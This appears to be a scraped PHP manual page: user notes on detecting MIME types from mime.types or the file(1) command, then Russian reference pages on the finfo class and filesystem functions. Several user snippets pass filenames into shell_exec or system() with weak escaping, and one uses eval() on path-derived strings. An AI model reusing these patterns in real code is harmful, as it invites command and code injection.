Slight improvement over  Josh Sean's code: this makes a usable and formatted php file containing the latest mime associations ( strictly using the file extension) in an array or if the file_get_contents fails ( say you are offline ) leaves the original file alone.
I made it a bit "dummer" for readability purposes, don't judge me just improve it on your own.

<?php
define('APACHE_MIME_TYPES_URL','http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types');

function generateUpToDateMimeArray($url){
    $s=array();
    $result = @file_get_contents($url);
    if ($result == FALSE )
    {
        $returned = "ERROR";
    }
    else
    {
        foreach(@explode("\n",$result)as $x)
        {
            if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
                for($i=1;$i<$c;$i++)
                    $s[]='    \''.$out[1][$i].'\' => \''.$out[1][0].'\'';
        }
        $returned =  @sort($s)?'<?php' . "\n" . '$mime_types = array(' . "\n" . implode($s,",\n") . "\n);\n" . '?>':false;
    }
    return $returned;
}

    $file_name = 'mime-array.php';
    $data = generateUpToDateMimeArray(APACHE_MIME_TYPES_URL);

    if ($data != "ERROR")
    {
        $file = fopen($file_name, 'wb') or die("cannot open $file_name\n");
        fwrite($file, $data ) or die("cannot write data\n");
        fclose($file);
        echo "updated";
    }
    else
    {
        echo "faliure";
    }

?>
All you need to do is run it once and in your code you can simply add these two lines:

<?php
include 'mime-array.php';
global $mime_types;
?>

enjoy
alex at webedge dot ca 10-Apr-2015 12:42
// Here is a working version of a function that fetches the meme types from apache's built in mime list and creates an array of which the keys are the file extensions:

function generateUpToDateMimeArray($url){
    $return = array();
    $mimes = file_get_contents('http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types'); // make sure that allow_url_fopen is enabled!

    preg_match_all('#^([^\s]{2,}?)\s+(.+?)$#ism', $mimes, $matches, PREG_SET_ORDER);

    foreach ($matches as $match){
        $exts = split(" ", $match[2]);
        foreach ($exts as $ext){
            $return[$ext]=$match[1];
        }
    }
    return $return;
}

// usage:

$typeMime = generateUpToDateMimeArray();
echo $typeMime['gif'];
Bond Akinmade 01-Mar-2015 02:11
using
<?php
function detectFileMimeType($filename='')
{
    $filename = escapeshellcmd($filename);
    $command = "file -b --mime-type -m /usr/share/misc/magic {$filename}";

    $mimeType = shell_exec($command);

    return trim($mimeType);
}
?>
should work on most shared linux hosts without errors. It should also work on Windows hosts with msysgit installed.
ppaster at mailinator dot com 22-Jul-2014 09:34
additional to svogal's video files:
'mp4' => 'video/mp4',
what also works:
'mp4' => 'audio/mp4',
Josh Sean 05-Mar-2012 07:04
Fast generation of uptodate mime types:

<?php
define('APACHE_MIME_TYPES_URL','http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types');

function generateUpToDateMimeArray($url){
    $s=array();
    foreach(@explode("\n",@file_get_contents($url))as $x)
        if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
            for($i=1;$i<$c;$i++)
                $s[]='&nbsp;&nbsp;&nbsp;\''.$out[1][$i].'\' => \''.$out[1][0].'\'';
    return @sort($s)?'$mime_types = array(<br />'.implode($s,',<br />').'<br />);':false;
}

echo
generateUpToDateMimeArray(APACHE_MIME_TYPES_URL);
?>

Output:
$mime_types = array(
   '123' => 'application/vnd.lotus-1-2-3',
   '3dml' => 'text/vnd.in3d.3dml',
   '3g2' => 'video/3gpp2',
   '3gp' => 'video/3gpp',
   '7z' => 'application/x-7z-compressed',
   'aab' => 'application/x-authorware-bin',
   'aac' => 'audio/x-aac',
   'aam' => 'application/x-authorware-map',
   'aas' => 'application/x-authorware-seg',
...

Enjoy.
john dot howard at prismmg dot com 26-Oct-2009 03:43
Here's a simple function to return MIME types, based on the Apache mime.types file. [The one in my previous submission, which has since been replaced by this one] only works properly if mime.types is formatted as Windows text. The updated version below corrects this problem. Thanks to Mike for pointing this out.

<?php
function get_mime_type($filename, $mimePath = '../etc') {
   $fileext = substr(strrchr($filename, '.'), 1);
   if (empty($fileext)) return (false);
   $regex = "/^([\w\+\-\.\/]+)\s+(\w+\s)*($fileext\s)/i";
   $lines = file("$mimePath/mime.types");
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      $line = rtrim($line) . " ";
      if (!preg_match($regex, $line, $matches)) continue; // no match to the extension
      return ($matches[1]);
   }
   return (false); // no match at all
}
?>

Notes:
[1] Requires mime.types file distributed with Apache (normally found at ServerRoot/conf/mime.types).  If you are using shared hosting, download the file with the Apache distro and then upload it to a directory on your web server that php has access to.

[2] First param is the filename (required). Second parameter is path to mime.types file (optional; defaults to home/etc/).

[3] Based on MIME types registered with IANA (http://www.iana.org/assignments/media-types/index.html). Recognizes 630 extensions associated with 498 MIME types.

[4] Asserts MIME type based on filename extension. Does not examine the actual file; the file does not even have to exist.

[5] Examples of use:
>> echo get_mime_type('myFile.xml');
>> application/xml
>> echo get_mime_type('myPath/myFile.js');
>> application/javascript
>> echo get_mime_type('myPresentation.ppt');
>> application/vnd.ms-powerpoint
>> echo get_mime_type('http://mySite.com/myPage.php);
>> application/x-httpd-php
>> echo get_mime_type('myPicture.jpg');
>> image/jpeg
>> echo get_mime_type('myMusic.mp3');
>> audio/mpeg
and so on...

To create an associative array containing MIME types, use:
<?php
function get_mime_array($mimePath = '../etc')
{
   $regex = "/([\w\+\-\.\/]+)\t+([\w\s]+)/i";
   $lines = file("$mimePath/mime.types", FILE_IGNORE_NEW_LINES);
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      if (!preg_match($regex, $line, $matches)) continue; // skip mime types w/o any extensions
      $mime = $matches[1];
      $extensions = explode(" ", $matches[2]);
      foreach($extensions as $ext) $mimeArray[trim($ext)] = $mime;
   }
   return ($mimeArray);
}
?>
Bob 21-Jun-2009 04:25
I see a lot of comments suggesting doing file extension sniffing (i.e. assuming .jpg files are JPEG images) when proper file-type sniffing functions are unavailable.
I want to point out that there is a much more accurate way.
If neither mime_content_type() nor Fileinfo is available to you and you are running *any* UNIX variant since the 70s, including Mac OS, OS X, Linux, etc. (and most web hosting is), just make a system call to 'file(1)'.
Doing something like this:
<?php
echo system("file -bi '<file path>'");
?>
will output something like "text/html; charset=us-ascii". Some systems won't add the charset bit, but strip it off just in case.
The '-bi' bit is important. However, you can use a command like this:
<?php
echo system("file -b '<file path>'"); // without the 'i' after '-b'
?>
to output a human-readable string, like "HTML document text", which can sometimes be useful.
The only drawback is that your scripts will not work on Windows, but is this such a problem? Just about all web hosts use a UNIX.
It is a far better way than just examining the file extension.
svogal 26-Dec-2008 07:17
<?php
if(!function_exists('mime_content_type')) {

    function mime_content_type($filename) {

        $mime_types = array(

            'txt' => 'text/plain',
            'htm' => 'text/html',
            'html' => 'text/html',
            'php' => 'text/html',
            'css' => 'text/css',
            'js' => 'application/javascript',
            'json' => 'application/json',
            'xml' => 'application/xml',
            'swf' => 'application/x-shockwave-flash',
            'flv' => 'video/x-flv',

            // images
            'png' => 'image/png',
            'jpe' => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'gif' => 'image/gif',
            'bmp' => 'image/bmp',
            'ico' => 'image/vnd.microsoft.icon',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'svg' => 'image/svg+xml',
            'svgz' => 'image/svg+xml',

            // archives
            'zip' => 'application/zip',
            'rar' => 'application/x-rar-compressed',
            'exe' => 'application/x-msdownload',
            'msi' => 'application/x-msdownload',
            'cab' => 'application/vnd.ms-cab-compressed',

            // audio/video
            'mp3' => 'audio/mpeg',
            'qt' => 'video/quicktime',
            'mov' => 'video/quicktime',

            // adobe
            'pdf' => 'application/pdf',
            'psd' => 'image/vnd.adobe.photoshop',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',

            // ms office
            'doc' => 'application/msword',
            'rtf' => 'application/rtf',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',

            // open office
            'odt' => 'application/vnd.oasis.opendocument.text',
            'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        );

        $ext = strtolower(array_pop(explode('.',$filename)));
        if (array_key_exists($ext, $mime_types)) {
            return $mime_types[$ext];
        }
        elseif (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME);
            $mimetype = finfo_file($finfo, $filename);
            finfo_close($finfo);
            return $mimetype;
        }
        else {
            return 'application/octet-stream';
        }
    }
}
?>
geompse 22-Sep-2008 11:46
Lukas V is IMO missing some point. The MIME type of a file may not be corresponding to the file suffix.

Imagine someone would obfuscate some PHP code in a .gif file, the file suffix would be 'GIF' but the MIME would be text/plain or even text/html.

Another example is files fetched via a distant server (wget / fopen / file / fsockopen...). The server can issue an error, i.e. 404 Not Found, wich again is text/html, whatever you save the file to (download_archive.rar).

His provided function should begin by the test of the function existancy like :

function MIMEalternative($file)
{
    if(function_exists('mime_content_type'))
        return mime_content_type($file);
    else
        return <lukas_v.MIMEfunction>($file);
}
php [spat] hm2k.org 21-Aug-2008 10:52
I also had issues with this function.

The issue was that it would almost always return "text/plain".

echo ini_get('mime_magic.magicfile'); // returns /etc/httpd/conf/magic

I found that I needed the OS' magic.mime file instead.

You can either copy it to the existing location, or update your php.ini, you cannot use ini_set().

[root@blade conf]# mv magic magic.old
[root@blade conf]# cp /usr/share/magic.mime magic
[root@blade conf]# apachectl graceful

Note: you will see that I have gracefully restarted apache to ensure it has taken affect.
memi aet liip doet ch 06-Jun-2008 02:59
Regarding serkanyersen's example : It is advisable to change the regular expression to something more precise like

preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $m);

This makes sure that only the last few characters are taken. The original expression would not work if the filename is a relative path.
mami at madagascarsurlenet dot com 13-Nov-2007 10:58
Since I enabled the mime_magic extension on my IIS, I also got the error message "invalid magic file, disabled" in my phpinfo. After I add these lines to my php.ini, the message disappeared and it works great!

mime_magic.debug = Off
mime_magic.magicfile ="D:\PHP5\extras\magic.mime"

mime_magic.debug is by default off but without this line it fails. I'm using PHP 5.2.5.
Sune Jensen 29-Aug-2007 09:16
For me mime_content_type didn't work in Linux before I added

mime_magic.magicfile = "/usr/share/magic.mime"

to php.ini (remember to find the correct path to mime.magic)
Quis at IHAVEGOTSPAMENOUGH dot omicidio dot nl 12-Feb-2007 09:28
<?PHP
  function qmimetype($file) {
    $ext=array_pop(explode('.',$file));
    foreach(file('/usr/local/etc/apache22/mime.types') as $line)
      if(preg_match('/^([^#]\S+)\s+.*'.$ext.'.*$/',$line,$m))
        return $m[1];
    return 'application/octet-stream';
  }
?>

Not perfect, but works good enough for me ;)
tree2054 using hotmail 03-Nov-2006 05:59
The correct little correction:

exec will return the mime with a newline at the end, the trim() should be called with the result of exec, not the other way around.

<?php

if ( ! function_exists ( 'mime_content_type ' ) )
{
   function mime_content_type ( $f )
   {
       return trim ( exec ('file -bi ' . escapeshellarg ( $f ) ) ) ;
   }
}

?>
15-Oct-2006 07:06
if you use a transparent 'spacer' GIF i've found it needs to be a around 25x25 for it to register as 'image/gif'. otherwise it's read in as 'text/plain'.
webmaster at cafe-clope dot net 23-Feb-2006 05:31
Completing <some dude AT somewhere DOT com> comment:

0 string < ? php application/x-httpd-php

and string detection on text files may fail if you check a file encoded with signed UTF-8. The UTF-8 signature is a two bytes code (0xFF 0xFE) that prepends the file in order to force UTF-8 recognition (you may check it on an hexadecimal editor).
some dude AT somewhere DOT com 07-Oct-2005 09:44
I added these two lines to my magic.mime file:

0 string \<?php application/x-httpd-php
0 string \<?xml text/xml

The first one may not work if "<?php" is not at the very beginning of your file, e.g., if some HTML preceeds the first bit of PHP code. The second one should work because "<?xml" *should* be the first thing in every XML file.
ginnsu at arcee dot ca 08-Mar-2005 10:14
The function mime_content_type only worked for me on Microsoft Windows after I added the directive "mime_magic.debug" to my php.ini with the value of "On". The default value appears to be "Off". Exampe:

[mime_magic]
mime_magic.debug = On
mime_magic.magicfile = "c:\php\extras\magic.mime"


Класс finfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

Введение

Этот класс предоставляет объектно-ориентированный интерфейс к функциям fileinfo.

Обзор классов

class finfo {
/* Методы */
public __construct(int $flags = FILEINFO_NONE, ?string $magic_database = null)
public buffer(string $string, int $flags = FILEINFO_NONE, ?resource $context = null): string|false
public file(string $filename, int $flags = FILEINFO_NONE, ?resource $context = null): string|false
public set_flags(int $flags): bool
}

Содержание

  • finfo::buffer — Псевдоним finfo_buffer()
  • finfo::__construct — Псевдоним finfo_open
  • finfo::file — Псевдоним finfo_file()
  • finfo::set_flags — Псевдоним finfo_set_flags()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним finfo_buffer()

  • « finfo
  • finfo::__construct »
  • PHP Manual
  • finfo
  • Псевдоним finfo_buffer()

finfo::buffer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::buffer — Псевдоним finfo_buffer()

Описание

public finfo::buffer(string $string, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

Функция является псевдонимом: finfo_buffer()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним finfo_open

  • « finfo::buffer
  • finfo::file »
  • PHP Manual
  • finfo
  • Псевдоним finfo_open

finfo::__construct

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::__construct — Псевдоним finfo_open()

Описание

public finfo::__construct(int $flags = FILEINFO_NONE, ?string $magic_database = null)

Функция является псевдонимом: finfo_open()

Список изменений

Версия | Описание
8.0.3 | magic_database теперь допускает значение null.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним finfo_file()

  • « finfo::__construct
  • finfo::set_flags »
  • PHP Manual
  • finfo
  • Псевдоним finfo_file()

finfo::file

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::file — Псевдоним finfo_file()

Описание

public finfo::file(string $filename, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

Функция является псевдонимом: finfo_file()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним finfo_set_flags()

  • « finfo::file
  • Файловая система »
  • PHP Manual
  • finfo
  • Псевдоним finfo_set_flags()

finfo::set_flags

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::set_flags — Псевдоним finfo_set_flags()

Описание

public finfo::set_flags(int $flags): bool

Функция является псевдонимом: finfo_set_flags()

User Contributed Notes

There are no user contributed notes for this page.


Файловая система

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции файловой системы
    • basename — Возвращает последний компонент имени из указанного пути
    • chgrp — Изменяет группу файла
    • chmod — Изменяет режим доступа к файлу
    • chown — Изменяет владельца файла
    • clearstatcache — Очищает кеш состояния файлов
    • copy — Копирует файл
    • delete — Смотрите описание функции unlink или unset
    • dirname — Возвращает имя родительского каталога из указанного пути
    • disk_free_space — Возвращает размер доступного пространства в каталоге или файловой системе
    • disk_total_space — Возвращает общий размер файловой системы или раздела диска
    • diskfreespace — Псевдоним disk_free_space
    • fclose — Закрывает открытый дескриптор файла
    • fdatasync — Синхронизирует данные (но не метаданные) с файлом
    • feof — Проверяет, достигнут ли конец файла
    • fflush — Сбрасывает буфер вывода в файл
    • fgetc — Считывает символ из файла
    • fgetcsv — Читает строку из файла и производит разбор данных CSV
    • fgets — Читает строку из файла
    • fgetss — Читает строку из файла и удаляет HTML-теги
    • file_exists — Проверяет существование указанного файла или каталога
    • file_get_contents — Читает содержимое файла в строку
    • file_put_contents — Пишет данные в файл
    • file — Читает содержимое файла и помещает его в массив
    • fileatime — Возвращает время последнего доступа к файлу
    • filectime — Возвращает время изменения индексного дескриптора файла
    • filegroup — Получает идентификатор группы файла
    • fileinode — Возвращает индексный дескриптор файла
    • filemtime — Возвращает время последнего изменения файла
    • fileowner — Возвращает идентификатор владельца файла
    • fileperms — Возвращает информацию о правах на файл
    • filesize — Возвращает размер файла
    • filetype — Возвращает тип файла
    • flock — Портируемая консультативная блокировка файлов
    • fnmatch — Проверяет совпадение имени файла с шаблоном
    • fopen — Открывает файл или URL
    • fpassthru — Выводит все оставшиеся данные из файлового указателя
    • fputcsv — Форматирует строку в виде CSV и записывает её в файловый указатель
    • fputs — Псевдоним fwrite
    • fread — Бинарно-безопасное чтение файла
    • fscanf — Обрабатывает данные из файла в соответствии с форматом
    • fseek — Устанавливает смещение в файловом указателе
    • fstat — Получает информацию о файле, используя открытый файловый указатель
    • fsync — Синхронизирует изменения в файле (включая метаданные)
    • ftell — Возвращает текущую позицию указателя чтения/записи файла
    • ftruncate — Урезает файл до указанной длины
    • fwrite — Бинарно-безопасная запись в файл
    • glob — Находит файловые пути, совпадающие с шаблоном
    • is_dir — Определяет, является ли имя файла директорией
    • is_executable — Определяет, является ли файл исполняемым
    • is_file — Определяет, является ли файл обычным файлом
    • is_link — Определяет, является ли файл символической ссылкой
    • is_readable — Определяет существование файла и доступен ли он для чтения
    • is_uploaded_file — Определяет, был ли файл загружен при помощи HTTP POST
    • is_writable — Определяет, доступен ли файл для записи
    • is_writeable — Псевдоним is_writable
    • lchgrp — Изменяет группу, которой принадлежит символическая ссылка
    • lchown — Изменяет владельца символической ссылки
    • link — Создаёт жёсткую ссылку
    • linkinfo — Возвращает информацию о ссылке
    • lstat — Возвращает информацию о файле или символической ссылке
    • mkdir — Создаёт директорию
    • move_uploaded_file — Перемещает загруженный файл в новое место
    • parse_ini_file — Обрабатывает конфигурационный файл
    • parse_ini_string — Разбирает строку конфигурации
    • pathinfo — Возвращает информацию о пути к файлу
    • pclose — Закрывает файловый указатель процесса
    • popen — Открывает файловый указатель процесса
    • readfile — Выводит файл
    • readlink — Возвращает файл, на который указывает символическая ссылка
    • realpath_cache_get — Получает записи из кеша realpath
    • realpath_cache_size — Получает размер кеша realpath
    • realpath — Возвращает канонизированный абсолютный путь к файлу
    • rename — Переименовывает файл или директорию
    • rewind — Сбрасывает курсор файлового указателя
    • rmdir — Удаляет директорию
    • set_file_buffer — Псевдоним stream_set_write_buffer
    • stat — Возвращает информацию о файле
    • symlink — Создаёт символическую ссылку
    • tempnam — Создаёт файл с уникальным именем
    • tmpfile — Создаёт временный файл
    • touch — Устанавливает время доступа и модификации файла
    • umask — Изменяет текущую umask
    • unlink — Удаляет файл

User Contributed Notes

There are no user contributed notes for this page.


Введение

Этот модуль не требует установки никаких внешних библиотек, но если вам нужна поддержка LFS (больших файлов) в Linux, то вам потребуется современная версия glibc и вам следует собирать PHP с включением следующих флагов в CFLAGS: -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Директивы конфигурации файловой системы и потоков
Имя | По умолчанию | Место изменения | Список изменений
allow_url_fopen | "1" | PHP_INI_SYSTEM |
allow_url_include | "0" | PHP_INI_SYSTEM | Объявлена устаревшей с версии PHP 7.4.0.
user_agent | NULL | PHP_INI_ALL |
default_socket_timeout | "60" | PHP_INI_ALL |
from | "" | PHP_INI_ALL |
auto_detect_line_endings | "0" | PHP_INI_ALL | Объявлена устаревшей с версии PHP 8.1.0.
sys_temp_dir | "" | PHP_INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

allow_url_fopen bool

Данная директива включает поддержку обёрток URL (URL wrappers), которые позволяют работать с объектами URL как с обычными файлами. Обёртки, доступные по умолчанию, служат для работы с удалёнными файлами с использованием ftp или http протокола. Некоторые модули, например, zlib, могут регистрировать собственные обёртки.

allow_url_include bool

Эта опция позволяет использование обёрток fopen, которые поддерживают работу с URL, в функциях include, include_once, require, require_once.

Замечание:

Эта опция требует включения опции allow_url_fopen.

user_agent string

Устанавливает отсылаемую PHP строку "User-Agent".

default_socket_timeout int

Значение времени ожидания по умолчанию (в секундах) для потоков, использующих сокеты. Отрицательное значения означает бесконечное время ожидания.

from string

Адрес email, используемый в соединениях FTP без авторизации, а также в качестве значения заголовка From в HTTP соединениях при использовании ftp и http обёрток, соответственно.

auto_detect_line_endings bool

Когда данная директива включена, PHP проверяет данные, получаемые функциями fgets() и file() с тем, чтобы определить способ завершения строк (Unix, MS-Dos или Macintosh).

Данная директива позволяет PHP взаимодействовать с системами Macintosh, однако, по умолчанию эта директива выключена, поскольку при её использовании возникает (несущественная) потребность в дополнительных ресурсах для определения символа окончания первой строки, а также потому, что программисты, использующие в системах Unix символы возврата каретки в качестве разделителей, столкнутся с обратно-несовместимым поведением PHP.

sys_temp_dir string

User Contributed Notes

Pistachio 31-Jan-2012 09:53
I'm surprised this isn't mentioned in docs here, but to set these values at runtime use "ini_set()". For example:

<?php
ini_set("auto_detect_line_endings", true);

// Now I can invoke fgets() on files that contain silly \r line endings.
?>


Типы ресурсов

Файловая система использует потоки (streams) в качестве собственного типа ресурсов. Документация по потокам доступна в своей собственной главе: "Потоки".

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SEEK_SET (int)
SEEK_CUR (int)
SEEK_END (int)
LOCK_SH (int)
LOCK_EX (int)
LOCK_UN (int)
LOCK_NB (int)
GLOB_BRACE (int)
GLOB_ONLYDIR (int)
GLOB_MARK (int)
GLOB_NOSORT (int)
GLOB_NOCHECK (int)
GLOB_NOESCAPE (int)
GLOB_AVAILABLE_FLAGS (int)
PATHINFO_DIRNAME (int)
PATHINFO_BASENAME (int)
PATHINFO_EXTENSION (int)
PATHINFO_FILENAME (int)
FILE_USE_INCLUDE_PATH (int)
Ищет filename в include_path.
FILE_NO_DEFAULT_CONTEXT (int)
FILE_APPEND (int)
Добавляет данные к существующему файлу.
FILE_IGNORE_NEW_LINES (int)
Вырезаются концы строк (EOL).
FILE_SKIP_EMPTY_LINES (int)
Пропускаются пустые строки.
FILE_BINARY (int)

Бинарный режим.

Замечание:

Данная константа ни на что не влияет и доступна только для последующей совместимости (forward compatibility).

FILE_TEXT (int)

Текстовый режим.

Замечание:

Данная константа ни на что не влияет и доступна только для последующей совместимости (forward compatibility).

INI_SCANNER_NORMAL (int)
Обычный режим сканирования INI.
INI_SCANNER_RAW (int)
Режим необработанного(raw) сканирования INI.
INI_SCANNER_TYPED (int)
Режим типизированного сканирования INI.
FNM_NOESCAPE (int)
Отключает экранирование обратных слешей.
FNM_PATHNAME (int)
Слеши в строках совпадают только со слешами в указанном шаблоне.
FNM_PERIOD (int)
Ведущая точка в строке должна точно совпадать с точкой в указанном шаблоне.
FNM_CASEFOLD (int)
Совпадение без учёта регистра. Часть расширения GNU.

User Contributed Notes

msegit at post dot pl 14-May-2019 12:14
GLOB_ERR ?
( https://www.php.net/manual/en/function.glob.php )


Функции файловой системы

Смотрите также

Описание родственных функций вы сможете найти в разделах Каталоги и Выполнение программ.

За списком обёрток URL для работы с удалёнными файлами и пояснениями обращайтесь к главе Поддерживаемые протоколы и обёртки.

Содержание

  • basename — Возвращает последний компонент имени из указанного пути
  • chgrp — Изменяет группу файла
  • chmod — Изменяет режим доступа к файлу
  • chown — Изменяет владельца файла
  • clearstatcache — Очищает кеш состояния файлов
  • copy — Копирует файл
  • delete — Смотрите описание функции unlink или unset
  • dirname — Возвращает имя родительского каталога из указанного пути
  • disk_free_space — Возвращает размер доступного пространства в каталоге или файловой системе
  • disk_total_space — Возвращает общий размер файловой системы или раздела диска
  • diskfreespace — Псевдоним disk_free_space
  • fclose — Закрывает открытый дескриптор файла
  • fdatasync — Синхронизирует данные (но не метаданные) с файлом
  • feof — Проверяет, достигнут ли конец файла
  • fflush — Сбрасывает буфер вывода в файл
  • fgetc — Считывает символ из файла
  • fgetcsv — Читает строку из файла и производит разбор данных CSV
  • fgets — Читает строку из файла
  • fgetss — Читает строку из файла и удаляет HTML-теги
  • file_exists — Проверяет существование указанного файла или каталога
  • file_get_contents — Читает содержимое файла в строку
  • file_put_contents — Пишет данные в файл
  • file — Читает содержимое файла и помещает его в массив
  • fileatime — Возвращает время последнего доступа к файлу
  • filectime — Возвращает время изменения индексного дескриптора файла
  • filegroup — Получает идентификатор группы файла
  • fileinode — Возвращает индексный дескриптор файла
  • filemtime — Возвращает время последнего изменения файла
  • fileowner — Возвращает идентификатор владельца файла
  • fileperms — Возвращает информацию о правах на файл
  • filesize — Возвращает размер файла
  • filetype — Возвращает тип файла
  • flock — Портируемая консультативная блокировка файлов
  • fnmatch — Проверяет совпадение имени файла с шаблоном
  • fopen — Открывает файл или URL
  • fpassthru — Выводит все оставшиеся данные из файлового указателя
  • fputcsv — Форматирует строку в виде CSV и записывает её в файловый указатель
  • fputs — Псевдоним fwrite
  • fread — Бинарно-безопасное чтение файла
  • fscanf — Обрабатывает данные из файла в соответствии с форматом
  • fseek — Устанавливает смещение в файловом указателе
  • fstat — Получает информацию о файле, используя открытый файловый указатель
  • fsync — Синхронизирует изменения в файле (включая метаданные)
  • ftell — Возвращает текущую позицию указателя чтения/записи файла
  • ftruncate — Урезает файл до указанной длины
  • fwrite — Бинарно-безопасная запись в файл
  • glob — Находит файловые пути, совпадающие с шаблоном
  • is_dir — Определяет, является ли имя файла директорией
  • is_executable — Определяет, является ли файл исполняемым
  • is_file — Определяет, является ли файл обычным файлом
  • is_link — Определяет, является ли файл символической ссылкой
  • is_readable — Определяет существование файла и доступен ли он для чтения
  • is_uploaded_file — Определяет, был ли файл загружен при помощи HTTP POST
  • is_writable — Определяет, доступен ли файл для записи
  • is_writeable — Псевдоним is_writable
  • lchgrp — Изменяет группу, которой принадлежит символическая ссылка
  • lchown — Изменяет владельца символической ссылки
  • link — Создаёт жёсткую ссылку
  • linkinfo — Возвращает информацию о ссылке
  • lstat — Возвращает информацию о файле или символической ссылке
  • mkdir — Создаёт директорию
  • move_uploaded_file — Перемещает загруженный файл в новое место
  • parse_ini_file — Обрабатывает конфигурационный файл
  • parse_ini_string — Разбирает строку конфигурации
  • pathinfo — Возвращает информацию о пути к файлу
  • pclose — Закрывает файловый указатель процесса
  • popen — Открывает файловый указатель процесса
  • readfile — Выводит файл
  • readlink — Возвращает файл, на который указывает символическая ссылка
  • realpath_cache_get — Получает записи из кеша realpath
  • realpath_cache_size — Получает размер кеша realpath
  • realpath — Возвращает канонизированный абсолютный путь к файлу
  • rename — Переименовывает файл или директорию
  • rewind — Сбрасывает курсор файлового указателя
  • rmdir — Удаляет директорию
  • set_file_buffer — Псевдоним stream_set_write_buffer
  • stat — Возвращает информацию о файле
  • symlink — Создаёт символическую ссылку
  • tempnam — Создаёт файл с уникальным именем
  • tmpfile — Создаёт временный файл
  • touch — Устанавливает время доступа и модификации файла
  • umask — Изменяет текущую umask
  • unlink — Удаляет файл

User Contributed Notes

ob at babcom dot biz 14-Mar-2013 03:56
a function based on "tunnelareaten at gmail dot com"s idea to search for files in a given directory by a searchstring or by fileextension.

I added support to search recursively through all sub-directories an to determine weather the filepath should be returned or not.

<?php
// recursive function to get contents of given folder by searchterm or fileextension
// (does not show folders)
// standards: Foldername:                    string
//            Searchterm:                    string
//            Searchtype:                    ext/search (file-extension or searchterm within filename)
//            SaveCompletePath:        true/1
// usage:     array FileSearch_r($Folder,$Search[,$SearchType,$SavePath])

function FileSearch_r($Dir,$Search,$SearchType="search",$SavePath=1) {
  $Array=array();
  $D=dir($Dir);
  while (false!==($Entry=$D->read()))
    if ($Entry!='.' && $Entry!='..') {
      $Entry=$Dir.$Entry;
      if (is_dir($Entry)) $Array=array_merge($Array,FileSearch_r($Entry.'/',$Search,$SearchType,$SavePath));
      else
          if ($SearchType=="search"
                      ?substr_count($Entry,$Search)>0
                      :($SearchType=="ext"
                          ?substr($Entry,-strlen($Search))===$Search
                          :true))
              $Array[]=$Entry;
    }
  $D->close();
  sort($Array,SORT_STRING);
  if(!(bool)$SavePath) $Array=str_replace($Dir,"",array_values($Array));
  return $Array;
}
?>
drapeko.com 23-May-2009 06:19
You have an array of directories (straightforward list of directories):

<?php
     $array = array(
         '/home/drapeko/var',
         '/home/drapeko/var/y',
         '/home/drapeko',
         '/home',
         '/var/libexec'
     );
     );
?>

And you would like to transform this array to hierarchy of directories:

<?php
 $array = array (
     'home' => array (
         'drapeko' => array (
             'var' => array (
                 'y' => array()
             )
         )
     ),
     'var' => array(
         'libexec' => array()
     )
 );
?>

How can you do it?

First of all the below function will help us.

<?php
/**
 * This function converts real filesystem path to the string array representation.
 *
 * for example,
 * '/home/drapeko/var/y            will be converted to    $result_array['home']['drapeko']['var']['y']
 * '/home/drapeko/var/y/file.txt   will be converted to       $result_array['home']['drapeko']['var']['y']
 *
 * @param $path         realpath of the directory
 * @return string        string array representation of the path
 */
function pathToArrayStr($path) {
     // TODO constants/configs?
     $res_path = str_replace(array(':/', ':\\', '/', '\\', DIRECTORY_SEPARATOR), '/', $path);
     // if the first or last symbol is '/' delete it (e.g. for linux)
     $res_path = preg_replace(array("/^\//", "/\/$/"), '', $res_path);
     // create string
     $res_path = '[\''.str_replace('/', '\'][\'', $res_path).'\']';

     return $res_path;
}
?>

It simply converts the real path of the file to array string representation.

How can you use this function? I know it looks like a little confusing. But it's quite simple. Consider the example below:

<?php
 $result = array();
 $check = array();
 foreach($array as $val) {
     $str = pathToArrayStr($val, 'result');
     foreach($check as $ck) {
         if (strpos($ck, $str) !== false) {
             continue 2;
         }
     }
     $check[] = $str;
     eval('$result'.$str.' = array();');
 }
print_r($result);
?>

Heh, how do you find it? This approach has helped me very much. I hope you will find it useful. :)
Christian 17-Mar-2007 09:24
